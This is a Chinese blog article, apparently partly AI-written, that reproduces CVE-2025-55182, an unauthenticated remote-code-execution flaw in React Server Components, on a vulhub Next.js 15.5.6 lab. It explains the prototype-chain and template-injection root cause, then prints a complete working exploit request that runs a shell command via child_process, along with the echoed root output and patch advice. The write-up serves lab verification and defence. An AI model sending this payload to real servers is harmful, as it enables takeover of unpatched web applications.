十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

vulhub 实战:React Server Components Flight 协议反序列化 RCE(CVE-2025-55182)原理与复现

vulhub 实战:React Server Components Flight 协议反序列化 RCE(CVE-2025-55182)原理与复现 vulhub 实战React Server Components Flight 协议反序列化 RCECVE-2025-55182原理与复现【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub本篇基于 vulhub 仓库中 react/CVE-2025-55182 环境文档系统讲解 React Server ComponentsRSCFlight 协议反序列化未授权远程代码执行漏洞的背景、受影响版本、漏洞原理以及如何通过一个预构建的 Next.js 15.5.6 容器化环境完成完整复现。读完本文读者将掌握 RSC 载荷Flight payload的结构特征、原型链遍历与模板注入的利用链并能独立验证受影响应用的修复情况。漏洞背景React Server Components 与受影响范围React Server ComponentsRSC是 React 19 引入的一项能力允许开发者在服务器端渲染组件并只把渲染结果而非组件实现代码通过定制的Flight 协议序列化后发送给客户端。当客户端触发一个use server定义的 Server Function 时Next.js 等服务端框架会接收一个 multipart/form-data 请求对其中的 Flight 载荷进行反序列化decode以还原函数调用与参数。CVE-2025-55182 正是一个发生在这一解码环节的未授权远程代码执行漏洞攻击者无需任何认证即可向任意 Server Function 端点发送精心构造的 HTTP 请求React 在反序列化该请求时会被诱导执行任意代码。根据 官方说明漏洞影响范围为react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack三个包的19.0 至 19.2.0版本依赖这些包的各类框架其中影响最广的是 Next.js15.x 系列中携带受影响 RSC 包的版本。由于漏洞位于 RSC 解码层任何开启 React Server Components 的应用Next.js App Router 应用是典型代表都可能成为攻击面这也是该漏洞被评定为严重级别的原因。环境搭建一键启动 Next.js 15.5.6 漏洞环境虽然漏洞位于 React Server Components 层但 Next.js 作为应用 RSC 最广泛的框架自 15 起全面支持 RSC因此 vulhub 选择 Next.js 作为复现载体。环境定义见 docker-compose.yml内容非常简洁services: web: image: vulhub/nextjs:15.5.6 ports: - 3000:3000执行以下命令即可启动一个带漏洞的 Next.js 15.5.6 服务器docker compose up -d服务启动后访问http://your-ip:3000即可看到应用程序Next.js 默认欢迎页。镜像内部结构vulhub 为该场景预构建了基础镜像对应源码位于 base/next.js/15.5.6。结合仓库源码可以看到镜像是如何被装配成漏洞环境的Dockerfile基于node:24-slim将源码复制到/usr/src执行npm install npm run build最终以npm run start启动EXPOSE 3000package.json明确了关键依赖版本——next: 15.5.6、react: 19.1.0、react-dom: 19.1.0正处于受影响版本区间内src/app/page.tsx一个由create-next-app模板生成的标准 App Router 首页含 Next.js logo 与链接无需任何额外开发即可作为 Server Function 端点载体使用——漏洞并不依赖特定业务代码任何暴露 RSC 端点的应用均可中招。从源码结构看该环境刻意保持为最纯净的官方模板没有任何认证、中间件或业务逻辑这意味着攻击者面对的是一个“开箱即中”的标准 Next.js 应用。漏洞原理Flight 载荷中的原型链遍历与模板注入根据文档与公开研究漏洞根因在于React Server Components 解码 payload 时的缺陷。攻击者在序列化数据Flight 协议行中注入特定字段后可以触发以下两级利用原型链遍历prototype chain traversalFlight 协议使用形如$1:constructor:constructor、$1:__proto__:then的引用语法解析嵌套属性。解码器在解析这些引用时未对属性名做限制攻击者可通过__proto__、constructor等键沿原型链“逃出”正常数据对象最终触达Function构造器constructor:constructor这类可执行任意代码的原生对象。模板注入template injection在获得代码执行原语后POC 利用 Next.js 内部对响应对象_response的模板拼接机制把任意 JS 代码注入到_prefix字段中执行。这两点正好对应下面复现载荷中的关键字段可对照理解。漏洞复现发送恶意 Request 执行命令向POST /发送如下构造好的请求包即可执行命令idPOST / HTTP/1.1 Host: localhost Next-Action: x Content-Type: multipart/form-data; boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 758 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name0 { then: $1:__proto__:then, status: resolved_model, reason: -1, value: {\then\:\$B1337\}, _response: { _prefix: var resprocess.mainModule.require(child_process).execSync(id).toString().trim();;throw Object.assign(new Error(NEXT_REDIRECT),{digest: NEXT_REDIRECT;push;/login?a${res};307;});, _chunks: $Q2, _formData: { get: $1:constructor:constructor } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name1 $0 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name2 [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--请求包逐字段解读结合原理部分这个载荷的每一行都可以对上号字段/行含义Next-Action: x请求头声明这是一个 Server Action 调用值是 Action IDx为任意值端点仍会进入解码路径then: $1:__proto__:then引用行 1 的__proto__.then用于沿原型链定位到 Promise-like 对象的then诱导解码器按异步模型解析后续数据status: resolved_model、reason: -1、value: {\then\:\$B1337\}构造一个“已解析”模型其 value 中再次内嵌then引用强化对解码流程的操控_formData: { get: $1:constructor:constructor }关键逃逸链从行 1 对象经__proto__.constructor.constructor一路爬原型链最终拿到 JS 的Function构造器_prefix: var resprocess.mainModule.require(child_process).execSync(id)...注入到响应模板前缀中的攻击代码用child_process.execSync同步执行id再抛出NEXT_REDIRECT错误并把结果嵌入跳转路径name1→$0Flight 协议行引用第 0 行的对象name2→[]空数组占位行补齐协议结构整个攻击链为恶意 Flight 载荷 → 解码器原型链遍历 → 拿到 Function 执行原语 → 模板注入_prefix中任意 JS →execSync(id)执行系统命令。验证结果从响应头回显命令输出发送请求后在响应的x-action-redirect响应头中即可看到id命令的执行结果x-action-redirect: /login?auid0(root) gid0(root) groups0(root);push该响应头格式与载荷中NEXT_REDIRECT;push;/login?a${res};307;的模板一一对应${res}被替换为id的实际输出uid0(root) gid0(root) groups0(root)说明命令已在服务器进程中执行。下图为在抓包工具中完整看到的请求与响应右侧响应区高亮部分即为回显命令结果的x-action-redirect头由于容器内以 root 用户运行 Next.js 进程输出为uid0(root)——这提示若在生产环境中被利用攻击者获得的是 Web 进程权限可进一步用于读取敏感配置、横向移动或持久化。影响评估与修复建议受影响判定应用若使用react-server-dom-webpack/react-server-dom-parcel/react-server-dom-turbopack19.019.2.0例如 Next.js 15 系列中携带上述版本的发布版且暴露任何 Server Function/Server Action 端点均应视为受影响。可参照 package.json 的依赖清单核对自身项目的react与react-server-dom-*版本。修复方式升级到官方修复后的 React 19 补丁版本及对应 Next.js 发布版使 Flight 解码器对__proto__/constructor等危险引用键的解析受到限制从根上阻断原型链遍历。验证方式升级后仍可复用本文的请求包进行回归验证——若x-action-redirect中不再出现命令执行结果、且请求在解码阶段被正常拒绝或安全处理则说明修复生效。缓解注意本漏洞无需认证、不依赖特定页面或业务参数因此单纯“关闭某些页面”“修改路由”无法规避仅升级相关依赖才是有效手段。小结CVE-2025-55182 是 RSC/Flight 协议反序列化层面的高危未授权 RCE利用核心在于解码器对原型链引用$1:__proto__:then、$1:constructor:constructor的无限制解析叠加 Next.js 响应模板注入最终以x-action-redirect响应头回显出任意命令的执行结果。vulhub 的 react/CVE-2025-55182 环境通过 docker-compose.yml 一个文件即可拉起 Next.js 15.5.6 漏洞实例配合本文的逐字段载荷解读可作为安全测试与应急响应中快速验证该漏洞及修复效果的完整参照。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表